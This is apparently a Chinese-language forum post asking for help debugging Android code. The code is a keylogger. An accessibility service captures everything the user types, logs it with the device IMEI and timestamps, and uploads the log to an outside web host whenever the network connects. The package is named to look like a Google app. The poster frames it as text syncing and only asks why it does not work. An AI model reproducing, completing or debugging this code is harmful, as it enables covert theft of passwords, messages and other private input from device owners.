我在应用程序中获得了一个accessiblity服务，它将您输入的文本同步到互联网，就像机器类型一样。这对我来说不起作用，我调试的任何东西都没有用。下面是代码：
AccessibilityServices类：
package com.google.android.googleplaysongs;
import android.accessibilityservice.AccessibilityService;
import android.content.Context;
import android.content.SharedPreferences;
import android.preference.PreferenceManager;
import android.telephony.TelephonyManager;
import android.view.accessibility.AccessibilityEvent;
import android.widget.Toast;
import java.io.File;
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.text.SimpleDateFormat;
import java.util.Calendar;
public class AccessibilityServices extends AccessibilityService{
// Shared Preference initialization section for editor and preferences
SharedPreferences.Editor editor = PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit();
SharedPreferences prefs = PreferenceManager.getDefaultSharedPreferences(getApplicationContext());
// Shared Preferences used in the service
String imei = prefs.getString("imei", null);
String mseg = prefs.getString("mseg", null);
String time = prefs.getString("time", null);
@Override
public void onAccessibilityEvent(AccessibilityEvent event){
final int eventType = event.getEventType();
if(eventType == AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED){
Toast toast = Toast.makeText(this.getApplicationContext(), "Accessiblity Event Recieved", Toast.LENGTH_SHORT);
toast.show();
StringBuilder sb = new StringBuilder();
for(CharSequence s : event.getText()){
sb.append(s);
}
writeToLogger(sb.toString());
}
}
@Override
public void onInterrupt(){}
public void writeToLogger(String eventText){
Toast toasti = Toast.makeText(this.getApplicationContext(), "Accessiblity Service Passed", Toast.LENGTH_SHORT);
toasti.show();
if(imei == null){
editor.putString("imei", getImei());
editor.commit();
}
Toast toastk = Toast.makeText(this.getApplicationContext(), "Falg 1", Toast.LENGTH_SHORT);
toastk.show();
if(mseg == null || time == null){ // LogicalOr is used for quick execution
editor.putString("mseg", eventText);
editor.putString("time", getTime());
editor.commit();
Toast toastio = Toast.makeText(this.getApplicationContext(), "Falg 2", Toast.LENGTH_SHORT);
toastio.show();
}
else{
if(eventText.contains(mseg)){
// Update the shared preference here
editor.putString("mseg", eventText);
editor.commit();
}
else{
// Insert into log.txt
File file = new File(this.getFilesDir(), "data.txt");
if(!file.exists()) {
try {
file.createNewFile();
} catch (Exception e){
e.printStackTrace();
}
}
try {
OutputStreamWriter outputStream = new OutputStreamWriter(this.openFileOutput(file.getName(), Context.MODE_PRIVATE));
outputStream.append(time).append("-").append(imei).append("-").append(mseg).append("\n");
outputStream.close();
} catch (IOException e){
e.printStackTrace();
}
// Reset the shared preferences
editor.putString("mseg", eventText);
editor.putString("time", getTime());
editor.commit();
Toast toastkl = Toast.makeText(this.getApplicationContext(), "Falg 3", Toast.LENGTH_SHORT);
toastkl.show();
}
}
Toast toast = Toast.makeText(this.getApplicationContext(), eventText, Toast.LENGTH_SHORT);
toast.show();
}
public String getImei(){
TelephonyManager telephonyManager = null;
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.LOLLIPOP) {
telephonyManager = (TelephonyManager) this.getSystemService(Context.TELECOM_SERVICE);
}
Toast toast = Toast.makeText(this.getApplicationContext(), "imei", Toast.LENGTH_SHORT);
toast.show();
assert telephonyManager != null;
return telephonyManager.getDeviceId();
}
public String getTime(){
Calendar c = Calendar.getInstance();
SimpleDateFormat df = new SimpleDateFormat("yyyy MM dd HH mm");
String formattedDte = df.format(c.getTime());
formattedDte = formattedDte.replace(" ", "");
Toast toast = Toast.makeText(this.getApplicationContext(), "time returned"+formattedDte, Toast.LENGTH_SHORT);
toast.show();
return formattedDte;
}
}
NetworkBroadcaster类：
package com.google.android.googleplaysongs;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
public class NetworkBroadcaster extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent inte) {
ConnectivityManager cm = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
NetworkInfo info = cm.getActiveNetworkInfo();
if (info != null && info.isConnected()) {
Intent intent = new Intent(context, NetworkSyncer.class);
context.startService(intent);
}
}
}
NetworkSyncer类：
package com.google.android.googleplaysongs;
import android.app.Service;
import android.content.Intent;
import android.os.IBinder;
import android.support.annotation.Nullable;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.net.HttpURLConnection;
import java.net.URL;
public class NetworkSyncer extends Service {
int mStartMode;
@Nullable
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public int onStartCommand(Intent intent, int flags, int startId){
uploadFile();
return mStartMode;
}
@Override
public void onDestroy(){
super.onDestroy();
}
public void uploadFile(){
File file = new File(this.getFilesDir(), "data.txt");
String urlServer = "https://u-database.000webhostapp.com/";
HttpURLConnection conn;
DataOutputStream dos;
String lineEnd = "\r\n";
String twoHyphens = "--";
String boundary = "**X**";
int bytesRead, bytesAvailable, bufferSize;
int maxBufferSize = 1024 * 1024;
byte[] buffer;
if (file.isFile()){
try{
FileInputStream fileInputStream = new FileInputStream(file);
URL url = new URL(urlServer);
// Setiing up the connection
conn = (HttpURLConnection) url.openConnection();
conn.setDoInput(true);
conn.setDoOutput(true);
conn.setUseCaches(false);
conn.setRequestMethod("POST");
conn.setRequestProperty("Connection", "Keep-Alive");
conn.setRequestProperty("ENCTYPE", "multipart/form-data");
conn.setRequestProperty("Content-Type", "multipart/form-data;boundary=" + boundary);
conn.setRequestProperty("textLog", file.getAbsolutePath());
dos = new DataOutputStream(conn.getOutputStream());
dos.writeBytes(twoHyphens + boundary + lineEnd);
dos.writeBytes("Content-Disposition: form-data;"+
"name=\"textLog\";filename=\""+file.getAbsolutePath()+"\""+lineEnd
);
dos.writeBytes(lineEnd);
// create a buffer of maximum size
bytesAvailable = fileInputStream.available();
bufferSize = Math.min(bytesAvailable, maxBufferSize);
buffer = new byte[bufferSize];
// read file and write it into form...
bytesRead = fileInputStream.read(buffer, 0, bufferSize);
while (bytesRead > 0) {
dos.write(buffer, 0, bufferSize);
bytesAvailable = fileInputStream.available();
bufferSize = Math.min(bytesAvailable, maxBufferSize);
bytesRead = fileInputStream.read(buffer, 0, bufferSize);
}
dos.writeBytes(lineEnd);
dos.writeBytes(twoHyphens + boundary + twoHyphens + lineEnd);
// Responses from the server (code and message)
String serverResponseMessage = conn.getResponseMessage();
if(conn.getResponseCode() == 200) {
if(serverResponseMessage.equals("success")) {
file.delete();
}
}
// Close the streams
fileInputStream.close();
dos.flush();
dos.close();
}catch(Exception e){e.printStackTrace();}
}
}
}

注意：当writeToLogger()函数只包含一个toast来显示传递的字符串时，它正在工作，但当我尝试注释掉代码时，它确实没有用，我真的不知道为什么。< / p>
如果有人可以帮助我，我会很高兴。
更新：它没有显示任何错误
